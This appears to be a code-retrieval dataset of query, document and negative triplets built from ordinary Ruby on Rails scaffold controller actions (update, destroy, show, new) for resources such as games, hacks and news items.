def update @bestgame = Bestgame.find(params[:id]) respond_to do |format| if @bestgame.update_attributes(params[:bestgame]) format.html { redirect_to @bestgame, notice: 'Bestgame was successfully updated.' } format.json { head :no_content } else format.html { render action: "edit" } format.json { render json: @bestgame.errors, status: :unprocessable_entity } end end end
[ "def update\n @game.update(game_params)\n render json: @game, status: 200\n end", "def update\n @game.update!(game_params) # anticipated possible exceptions rescued in BaseController\n render json: @game, status: 200\n end", "def update\n @spreadapedia_game = SpreadapediaGames.find(params[:id])\n\n respond_to do |format|\n if @spreadapedia_game.update_attributes(params[:spreadapedia_games])\n format.html { redirect_to @spreadapedia_game, notice: 'Spreadapedia game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spreadapedia_game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tournament_game = TournamentGame.find(params[:id])\n\n respond_to do |format|\n if @tournament_game.update_attributes(params[:tournament_game])\n format.html { redirect_to @tournament_game, notice: 'Tournament game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tournament_game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @game = Game.where(title: params[:game_title]).first\n game_params = params.reject {|x| x.match /action|controller|version/ }\n\n if @game.update_attributes(game_params)\n head :no_content\n else\n head :unprocessable_entity\n end\n end", "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @games_leaderboard = Games::Leaderboard.find(params[:id])\n\n if @games_leaderboard.update(games_leaderboard_params)\n head :no_content\n else\n render json: @games_leaderboard.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @games_team.update(games_team_params)\n format.html { redirect_to @games_team, notice: 'Games team was successfully updated.' }\n format.json { render :show, status: :ok, location: @games_team }\n else\n format.html { render :edit }\n format.json { render json: @games_team.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @best.update(best_params)\n format.html { redirect_to @best, notice: 'Best was successfully updated.' }\n format.json { render :show, status: :ok, location: @best }\n else\n format.html { render :edit }\n format.json { render json: @best.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bestgame = Bestgame.new(params[:bestgame])\n\n respond_to do |format|\n if @bestgame.save\n format.html { redirect_to @bestgame, notice: 'Bestgame was successfully created.' }\n format.json { render json: @bestgame, status: :created, location: @bestgame }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bestgame.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n game = Game.find(params[:game_id])\n @player_game = game.player_games.find(params[:id])\n\n respond_to do |format|\n if @player_game.update_attributes(params[:player_game])\n format.html { redirect_to(@player_game, :notice => 'Player game was successfully updated.') }\n format.xml { head :ok }\n format.json { render :json => @player_game}\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @player_game.errors, :status => :unprocessable_entity }\n format.json { render :json => @player_game}\n end\n end\n end", "def update\n @game_tournament = GameTournament.find(params[:id])\n\n respond_to do |format|\n if @game_tournament.update_attributes(params[:game_tournament])\n format.html { redirect_to @game_tournament, notice: 'Game tournament was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game_tournament.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @game = Game.find(params[:id])\n @game.update(game_params)\n end", "def update\n if @mini_game.update(mini_game_params)\n render json: @mini_game, status: :ok\n else\n render json: @mini_game.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @bet_game.update(bet_game_params)\n format.html { redirect_to @bet_game, notice: \"Game was successfully updated.\" }\n format.json { render :show, status: :ok, location: @bet_game }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @bet_game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to(@game, :notice => 'Game was successfully updated.') }\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @game.errors, :status => :unprocessable_entity }\n format.json { render :json => @game.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @gameplay = Gameplay.find(params[:id])\n\n respond_to do |format|\n if @gameplay.update_attributes(params[:gameplay])\n format.html { redirect_to @gameplay, notice: 'Gameplay was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gameplay.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tictactoegame.update(tictactoegame_params)\n format.html { redirect_to @tictactoegame, notice: 'Tictactoegame was successfully updated.' }\n format.json { render :show, status: :ok, location: @tictactoegame }\n else\n format.html { render :edit }\n format.json { render json: @tictactoegame.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @old_game = OldGame.find(params[:id])\n\n respond_to do |format|\n if @old_game.update_attributes(params[:old_game])\n format.html { redirect_to @old_game, notice: 'Old game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @old_game.errors, status: :unprocessable_entity }\n end\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
DELETE /bestgames/1 DELETE /bestgames/1.json
def destroy @bestgame = Bestgame.find(params[:id]) @bestgame.destroy respond_to do |format| format.html { redirect_to bestgames_url } format.json { head :no_content } end end
[ "def destroy\n @bettergame = Bettergame.find(params[:id])\n @bettergame.destroy\n\n respond_to do |format|\n format.html { redirect_to bettergames_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.get(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :ok }\n end\n end", "def destroy\n @html5game = Html5game.find(params[:id])\n @html5game.destroy\n\n respond_to do |format|\n format.html { redirect_to html5games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @mygame = Mygame.find(params[:id])\n @mygame.destroy\n\n respond_to do |format|\n format.html { redirect_to mygames_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @spreadapedia_game = SpreadapediaGames.find(params[:id])\n @spreadapedia_game.destroy\n\n respond_to do |format|\n format.html { redirect_to spreadapedia_games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game_round.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_game.destroy\n respond_to do |format|\n format.html { redirect_to admin_games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @resource_game = Resource::Game.find(params[:id])\n @resource_game.destroy\n\n respond_to do |format|\n format.html { redirect_to resource_games_url }\n format.json { head :ok }\n end\n end", "def destroy\n @team_game = TeamGame.find(params[:id])\n @team_game.destroy\n\n respond_to do |format|\n format.html { redirect_to team_games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @uploadgame = Uploadgame.find(params[:id])\n @uploadgame.destroy\n\n respond_to do |format|\n format.html { redirect_to uploadgames_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tournament_game = TournamentGame.find(params[:id])\n @tournament_game.destroy\n\n respond_to do |format|\n format.html { redirect_to tournament_games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @team_game.destroy\n respond_to do |format|\n format.html { redirect_to team_games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @old_game = OldGame.find(params[:id])\n @old_game.destroy\n\n respond_to do |format|\n format.html { redirect_to old_games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_game.destroy\n respond_to do |format|\n format.html { head :no_content }\n format.json { head :no_content }\n end\n end", "def destroy\n @gameplay = Gameplay.find(params[:id])\n @gameplay.destroy\n\n respond_to do |format|\n format.html { redirect_to gameplays_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game_stat = GameStat.find(params[:id])\n @game_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "def destroy\n @saved_game.destroy\n respond_to do |format|\n format.html { redirect_to saved_games_url, notice: 'Saved game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Returns an Array containing the segments of a constant path.
def constant_segments(node) segments = [] if node.children[0] segments.concat(constant_segments(node.children[0])) end segments << node.children[1].to_s return segments end
[ "def segments_from_path(path)\n # Remove leading ^ and trailing $ from each segment (left-overs from regexp joining)\n strip = proc { |str| str.gsub(/^\\^/, '').gsub(/\\$$/, '') }\n segments = []\n while match = (path.match(SEGMENT_REGEXP))\n segments << strip[match.pre_match] unless match.pre_match.empty?\n segments << match[2].intern\n path = strip[match.post_match]\n end\n segments << strip[path] unless path.empty?\n segments\n end", "def segments\n if !@segments.present?\n @segments = path.split('/').select { |s| !s.empty? }\n else\n @segments\n end\n end", "def segments_for_route_path(path)\n rest, segments = path, []\n\n until rest.empty?\n segment, rest = segment_for rest\n segments << segment\n end\n segments\n end", "def path_segments\n request.path.split('/').from(1)\n end", "def segments\n @segments ||= generate_segments\n end", "def segments\n return @segments\n end", "def slice_paths\n paths = []\n Merb::Slices.each_slice { |slice| paths += slice.collected_slice_paths }\n paths\n end", "def const_node_array(node)\n return [] if node.nil?\n return [''] if node.type == :cbase\n return [\"<`#{node.location.expression.source}`>\"] unless node.type == :const\n const_node_array(node.children.first) << node.children[1]\n end", "def symbol_segments\n (segments || []).select{ |s| s.is_a?(Symbol) }\n end", "def key_segments\n if !@key_segments.present?\n @key_segments ||= path.split('/').map do |s|\n s if s[0] == ':'\n end.compact\n else\n @key_segments\n end\n end", "def path_comps path\n path.nil? || path.empty? ? [] : path[1..(path[-1] == \"/\" ? -2 : -1)].split('/')\n end", "def segments\n @segments.collect do |p|\n if absolute_url?(p)\n p\n elsif p.start_with?(\"/\")\n @domain + p\n elsif @source\n @source.sub(/[^\\/]*.m3u8/, p)\n end \n end \n end", "def get_segments\n return make_request(\"#{self.endpoint}/list/segments\")\n end", "def resolve_segments\n @route.third.path.spec.to_s.split(/[\\/(\\)\\.]/).map do |segment|\n [segment.delete(\":\").to_sym, :static] unless segment.blank?\n end.compact.map do |segment|\n if dynamic_segments.map(&:first).include? segment.first\n [segment.first, :dynamic]\n else\n segment\n end\n end\n end", "def dynamic_segments\n @route.third.path.names.map do |segment|\n [segment.to_sym, :dynamic]\n end\n end", "def getPathElements(path)\n #N Without this path as a single string won't be decomposed into a list of elements\n return path.is_a?(String) ? (path == \"\" ? [] : path.split(\"/\")) : path\n end", "def segments\n #segments = @route.segments.select do |segment|\n # [ActionController::Routing::DynamicSegment, ActionController::Routing::StaticSegment].include? segment.class\n #end\n #segments.pop if segments.last.is_a?(ActionController::Routing::StaticSegment) && segments.last.value == @action && segments.last.value != 'new'\n #segments\n resolve_segments\n end", "def path_components\n ENV[\"PATH\"].split(File::PATH_SEPARATOR)\n end", "def find_segments(cookie_line)\n\t\tsegments_str = cookie_line.scan(/\\ssegments=[a-zA-z1-9,]*\\s{1}/).first # Scan the string for segments= and comma-separated values\n\t\tif segments_str \n\t\t\tsegments_str.gsub!('segments=','')\n\t\t\tarray = segments_str.split(',')\n\t\t\tarray.each(&:strip!) # Remove any extra spaces\n\t\telse\n\t\t\t[]\n\t\tend\n\tend" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Don't do fill setup
def fill_setup(_gc) end
[ "def fill_setup(gc)\n end", "def setup\n setup! unless setup?\n end", "def setup\n setup! unless setup?\n end", "def before_setup\n # do nothing by default\n end", "def fill\n \t@fill\n end", "def setup\n end", "def fills; end", "def setup\n intersections, corners, beacons, crosswalks = [], [], [], []\n\n # Gather Intersections\n intersections.concat gather_intersections\n # Gather Corners\n corners.concat gather_corners\n # Gather Beacons\n beacons.concat gather_beacons\n # Gather Crosswalks\n crosswalks.concat gather_crosswalks\n\n\n intersections.each { |data| Intersection.create data }\n corners.each { |data| Corner.create data }\n beacons.each { |data| Beacon.create data }\n crosswalks.each { |data| Crosswalk.create data }\n\n load_crossing_failure_reason\n load_settings\n end", "def setup\n\t\t@first_guess = true\n\t\tgenerate_possible_codes\n\tend", "def setup(&block)\n @setups << block\nend", "def fill(value)\n end", "def prepare_for_warm_deploy\n @inherit_properties.each do |property|\n debug \"Property '#{property}' is specified as :inherit; not supplying to Marathon\"\n instance_variable_set(\"@#{property}\", nil)\n end\n end", "def setup\n #Bat initialization state\n @state = :init\n end", "def setup_suite\n end", "def prepare\n Ethon.logger.warn(\n \"ETHON: It is no longer necessary to call \"+\n \"Easy#prepare. It's going to be removed \"+\n \"in future versions.\"\n )\n end", "def build_up\n end", "def setup_settings\n\t\t\t\t@settings = {}\n\t\t\tend", "def preReady()\n\t\t\t#does nothing. extend in subclasses\n\t\tend", "def set_snat_none\n super\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
GET /hacks/1 GET /hacks/1.json
def show @hack = Hack.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render :json => @hack } end end
[ "def show\n @hack = Hack.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hack }\n end\n end", "def show\n @hacker = Hacker.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hacker }\n end\n end", "def index\n @hacks = Hack.all\n end", "def new\n @hack = Hack.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hack }\n end\n end", "def new\n @hack = Hack.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @hack }\n end\n end", "def create\n @hack = current_user.hacks.build(hack_params)\n\n respond_to do |format|\n if @hack.save\n format.html { redirect_to root_path, notice: \"Hack was successfully created.\" }\n format.json { render :show, status: :created, location: @hack }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @hack.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @hacker = Hacker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hacker }\n end\n end", "def create\n @hack = Hack.new(params[:hack])\n\n respond_to do |format|\n if @hack.save\n format.html { redirect_to @hack, notice: 'Hack was successfully created.' }\n format.json { render json: @hack, status: :created, location: @hack }\n else\n format.html { render action: \"new\" }\n format.json { render json: @hack.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @hack = Hack.new(params[:hack])\n\n respond_to do |format|\n if @hack.save\n format.html { redirect_to event_path + '/hacks', notice: 'Hack was successfully created.' }\n format.json { render json: @hack, status: :created, location: @hack }\n else\n format.html { render action: \"new\" }\n format.json { render json: @hack.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @hackers = @generation.hackers\n end", "def show\n @hacker = @generation.hackers.find(params[:id])\n end", "def show\n @hack = Hack.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @hack }\n end\n end", "def update\n @hack = Hack.find(params[:id])\n\n respond_to do |format|\n if @hack.update_attributes(params[:hack])\n format.html { redirect_to @hack, :notice => 'Hack was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @hack.errors, :status => :unprocessable_entity }\n end\n end\n end", "def show\n @hackerspace = Hackerspace.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hackerspace }\n end\n end", "def update\n @hack = Hack.find(params[:id])\n\n respond_to do |format|\n if @hack.update_attributes(params[:hack])\n format.html { redirect_to @hack, notice: 'Hack was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hack.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @hackathons = Hackathon.all\n end", "def destroy\n @hack = Hack.find(params[:id])\n @hack.destroy\n\n respond_to do |format|\n format.html { redirect_to hacks_url }\n format.json { head :ok }\n end\n end", "def initialize_hacker\n @hacker = Hacker.find(params[:id])\n end", "def show\n @hackdescriptionupdate = Hackdescriptionupdate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @hackdescriptionupdate }\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
GET /hacks/new GET /hacks/new.json
def new @hack = Hack.new respond_to do |format| format.html # new.html.erb format.json { render :json => @hack } end end
[ "def new\n @hack = Hack.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hack }\n end\n end", "def new\n @hacker = Hacker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hacker }\n end\n end", "def new\n @hack = Hack.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @hack }\n end\n end", "def new\n @hackerspace = Hackerspace.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hackerspace }\n end\n end", "def create\n @hack = Hack.new(params[:hack])\n\n respond_to do |format|\n if @hack.save\n format.html { redirect_to @hack, notice: 'Hack was successfully created.' }\n format.json { render json: @hack, status: :created, location: @hack }\n else\n format.html { render action: \"new\" }\n format.json { render json: @hack.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @hack = current_user.hacks.build(hack_params)\n\n respond_to do |format|\n if @hack.save\n format.html { redirect_to root_path, notice: \"Hack was successfully created.\" }\n format.json { render :show, status: :created, location: @hack }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @hack.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @hack = Hack.new(params[:hack])\n\n respond_to do |format|\n if @hack.save\n format.html { redirect_to event_path + '/hacks', notice: 'Hack was successfully created.' }\n format.json { render json: @hack, status: :created, location: @hack }\n else\n format.html { render action: \"new\" }\n format.json { render json: @hack.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @workaround = Workaround.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @workaround }\n end\n end", "def new\n @monkey = Monkey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @monkey }\n end\n end", "def new\n @hacker = Hacker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @hacker }\n end\n end", "def new\n @hacks_scope = HacksScope.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @hacks_scope }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tips_trick }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @life_jacket }\n end\n end", "def new\n @patch = Patch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patch }\n end\n end", "def new_stories\n get('/newstories.json')\n end", "def new\n @userhackrelation = Userhackrelation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @userhackrelation }\n end\n end", "def new\n @fix_upgrade = FixUpgrade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fix_upgrade }\n end\n end", "def new\n @trick = Trick.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trick }\n end\n end", "def new\n @issue = Issue.new\n\n @new = true\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @issue }\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
PUT /hacks/1 PUT /hacks/1.json
def update @hack = Hack.find(params[:id]) respond_to do |format| if @hack.update_attributes(params[:hack]) format.html { redirect_to @hack, :notice => 'Hack was successfully updated.' } format.json { head :ok } else format.html { render :action => "edit" } format.json { render :json => @hack.errors, :status => :unprocessable_entity } end end end
[ "def update\n @hack = Hack.find(params[:id])\n\n respond_to do |format|\n if @hack.update_attributes(params[:hack])\n format.html { redirect_to @hack, notice: 'Hack was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hack.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @hack.update(hack_params)\n format.html { redirect_to @hack, notice: 'Hack was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @hack.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @hacker = Hacker.find(params[:id])\n\n respond_to do |format|\n if @hacker.update_attributes(params[:hacker])\n format.html { redirect_to @hacker, notice: 'Hacker was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hacker.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @hack = Hack.find(params[:id])\n\n respond_to do |format|\n if @hack.update_attributes(params[:hack])\n flash[:notice] = 'Hack was successfully updated.'\n format.html { redirect_to([:admin, :canada, @hack]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @hack.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @hacker.update(hacker_params)\n format.html { redirect_to @hacker, notice: 'Hacker was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @hacker.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @hack = current_user.hacks.build(hack_params)\n\n respond_to do |format|\n if @hack.save\n format.html { redirect_to root_path, notice: \"Hack was successfully created.\" }\n format.json { render :show, status: :created, location: @hack }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @hack.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \n @hacker = Hacker.find(params[:id])\n\n respond_to do |format|\n if @hacker.update_attributes(params[:hacker])\n format.html { redirect_to(@hacker, :notice => 'Hacker was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @hacker.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @hacker = @generation.hackers.find(params[:id])\n respond_to do |format|\n if @hacker.update(hacker_params)\n format.html { redirect_to generation_hackers_path(@generation), notice: 'Hacker was successfully updated.' }\n format.json { render :show, status: :ok, location: @hacker }\n else\n format.html { render :edit }\n format.json { render json: @hacker.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @hack = Hack.new(params[:hack])\n\n respond_to do |format|\n if @hack.save\n format.html { redirect_to event_path + '/hacks', notice: 'Hack was successfully created.' }\n format.json { render json: @hack, status: :created, location: @hack }\n else\n format.html { render action: \"new\" }\n format.json { render json: @hack.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @hack = Hack.new(params[:hack])\n\n respond_to do |format|\n if @hack.save\n format.html { redirect_to @hack, notice: 'Hack was successfully created.' }\n format.json { render json: @hack, status: :created, location: @hack }\n else\n format.html { render action: \"new\" }\n format.json { render json: @hack.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @hackathon = Hackathon.find(params[:id])\n\n respond_to do |format|\n if @hackathon.update_attributes(params[:hackathon])\n format.html { redirect_to @hackathon, notice: 'Hackathon was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hackathon.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @hack_tip.update(hack_tip_params)\n format.html { redirect_to @hack_tip, notice: 'Hack tip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @hack_tip.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @scratcher = Scratcher.find(params[:id])\n\n if @scratcher.update(permitted_params)\n head :no_content\n else\n render json: @scratcher.errors, status: :unprocessable_entity\n end\n end", "def update\n @need_help = NeedHelp.find(params[:id])\n\n respond_to do |format|\n if @need_help.update_attributes(params[:need_help])\n format.json {head :no_content}\n else\n format.json {render json: @need_help.errors, status: :unprocessable_entity}\n end\n end\n end", "def update\n @need_help = NeedHelp.find(params[:id])\n\n respond_to do |format|\n if @need_help.update_attributes(params[:need_help])\n format.json { head :no_content }\n else\n format.json { render json: @need_help.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @hackdescriptionupdate = Hackdescriptionupdate.find(params[:id])\n\n respond_to do |format|\n if @hackdescriptionupdate.update_attributes(params[:hackdescription])\n format.html { redirect_to @hackdescriptionupdate, :notice => 'Hackdescription was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @hackdescriptionupdate.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @hack_meet.update(hack_meet_params)\n format.html { redirect_to @hack_meet, notice: 'Hack meet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @hack_meet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @hackathon = Hackathon.find(params[:id])\n\n respond_to do |format|\n if @hackathon.update_attributes(params[:hackathon])\n format.html { redirect_to(@hackathon, :notice => 'Hackathon was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @hackathon.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @hackerspace = Hackerspace.find(params[:id])\n\n respond_to do |format|\n if @hackerspace.update_attributes(params[:hackerspace])\n format.html { redirect_to @hackerspace, notice: 'Hackerspace was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hackerspace.errors, status: :unprocessable_entity }\n end\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
DELETE /hacks/1 DELETE /hacks/1.json
def destroy @hack = Hack.find(params[:id]) @hack.destroy respond_to do |format| format.html { redirect_to hacks_url } format.json { head :ok } end end
[ "def destroy\n @hack = Hack.find(params[:id])\n @hack.destroy\n\n respond_to do |format|\n format.html { redirect_to hacks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @hack = Hack.find(params[:id])\n @hack.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_canada_hacks_path) }\n format.xml { head :ok }\n end\n end", "def destroy\n @hacker = Hacker.find(params[:id])\n @hacker.destroy\n\n respond_to do |format|\n format.html { redirect_to hackers_url }\n format.json { head :ok }\n end\n end", "def destroy\n @hacker = Hacker.find(params[:id])\n @hacker.destroy\n\n respond_to do |format|\n format.html { redirect_to hackers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @hacker.destroy\n respond_to do |format|\n format.html { redirect_to hackers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @hacker = Hacker.find(params[:id])\n @hacker.destroy\n\n respond_to do |format|\n format.html { redirect_to(hackers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @hackathon = Hackathon.find(params[:id])\n @hackathon.destroy\n\n respond_to do |format|\n format.html { redirect_to hackathons_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @hack_meet.destroy\n respond_to do |format|\n format.html { redirect_to hack_meets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n PolicyBrief.delete_hack(params[:id])\n\n respond_to do |format|\n format.html { redirect_to policy_briefs_url }\n format.json { head :ok }\n end\n end", "def destroy\n Indicator.delete_hack(params[:id])\n\n respond_to do |format|\n format.html { redirect_to indicators_url }\n format.json { head :ok }\n end\n end", "def destroy\n @hack_tip.destroy\n respond_to do |format|\n format.html { redirect_to hack_tips_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @hackerspace = Hackerspace.find(params[:id])\n @hackerspace.destroy\n\n respond_to do |format|\n format.html { redirect_to hackerspaces_url }\n format.json { head :ok }\n end\n end", "def destroy\n @hackdescriptionupdate = Hackdescriptionupdate.find(params[:id])\n @hackdescriptionupdate.destroy\n\n respond_to do |format|\n format.html { redirect_to hackdescriptionupdates_url }\n format.json { head :ok }\n end\n end", "def delete\n Client.delete(\"/kits/#{@id}\")\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n File.unlink(@exercise.path)\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @hack_member.destroy\n respond_to do |format|\n format.html { redirect_to hack_members_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @reqdifficulty.destroy\n respond_to do |format|\n format.html { redirect_to reqdifficulties_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @userhackrelation = Userhackrelation.find(params[:id])\n @userhackrelation.destroy\n\n respond_to do |format|\n format.html { redirect_to userhackrelations_url }\n format.json { head :ok }\n end\n end", "def destroy\n @hacks_scope = HacksScope.find(params[:id])\n @hacks_scope.destroy\n\n respond_to do |format|\n format.html { redirect_to(hacks_scopes_url) }\n format.xml { head :ok }\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Show news content + 2 GT links "next" and "previous"
def show @news = News.find(params[:id]) @next = News.where("publication_date <= ? AND id != ?", @news.publication_date, @news.id).order("publication_date DESC").first; @previous = News.where("publication_date >= ? AND id != ?", @news.publication_date, @news.id).order("publication_date DESC").last; end
